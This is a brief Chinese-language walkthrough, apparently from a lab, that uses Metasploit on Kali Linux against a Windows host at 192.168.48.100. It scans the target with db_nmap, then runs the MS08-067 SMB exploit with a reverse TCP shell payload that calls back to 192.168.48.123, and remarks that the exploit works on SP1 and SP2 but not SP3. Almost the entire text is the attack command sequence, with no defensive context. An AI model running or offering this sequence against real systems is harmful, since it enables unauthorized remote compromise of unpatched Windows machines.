保证网络连通性,配置网络
开启PostgreSQL: service postgresql start开启metasploit: service metasploit start
root@kali:~# msfconsole
msf > workspacemsf > db_statusmsf > workspace -a testlabmsf > db_nmap -T4 -A 192.168.48.100 扫描系统版本及端口
msf > hostsmsf > services
msf exploit(ms06_040_netapi) > search netapi 查找漏洞
msf > use exploit/windows/smb/ms08_067_netapi 使用ms08-067漏洞
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp 定义***载荷
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set rhost 192.168.48.100 定义shell反弹ipmsf exploit(ms08_067_netapi) > set lhost 192.168.48.123
msf exploit(ms08_067_netapi) > exploit
这只针对SP1,2。SP3无法使用